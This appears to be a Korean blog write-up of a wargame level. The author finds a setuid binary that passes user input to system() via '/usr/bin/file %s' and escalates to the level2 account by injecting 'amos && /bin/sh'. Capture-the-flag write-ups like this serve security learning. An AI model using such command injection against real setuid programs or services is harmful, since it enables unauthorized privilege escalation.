Hackers lab level 2

Tags:

두번째 문제는 한 대학생이 ‘file’ 명령을 사용하여 주어진 파일의 타입을 알아내는 프로그램을 작성하였는데, 이 프로그램의 버그를 사용해 쉘을 따내는 내용입니다.

일단, 해당 프로그램을 찾기 위해 find / -user level2 를 합니다. 소유자가 level2인데 실행권한은 level1에게도 주어진 프로그램의 버그를 뚫고 level2로 진입해야하니까 이런식으로 검색합니다.
결과적으로 다음과 같은 파일을 찾습니다.

[level1@drill bin]$ ls -l amos
-rwsr-x— 1 level2 level1 13987 Jan 28 2004 amos

그리고 다음과 같이 해보았습니다.

[level1@drill bin]$ file amos
amos: setuid ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), not stripped
[level1@drill bin]$ string amos
bash: string: command not found
[level1@drill bin]$ strings amos
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
printf
fgets
__cxa_finalize
system
__deregister_frame_info
stdin
sprintf
_IO_stdin_used
__libc_start_main
__register_frame_info
GLIBC_2.1.3
GLIBC_2.0
PTRh
path?
IFS=’
‘;export IFS;/usr/bin/file %s

IFS 를 고쳐서 하는 걸까 생각하다가 그냥 /usr/bin/file %s로 프로그램을 수행하는 부분이 있음을 본 뒤, 이걸 이용하기로 했습니다.

[level1@drill bin]$ ./amos
path? amos && /bin/sh
amos: setuid ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), not stripped
bash$ whoami
level2

써놓고 보니까 쉬운 것 같은데, 실은 한참고민했네요….

Comments

Leave a Reply

Your email address will not be published. Required fields are marked *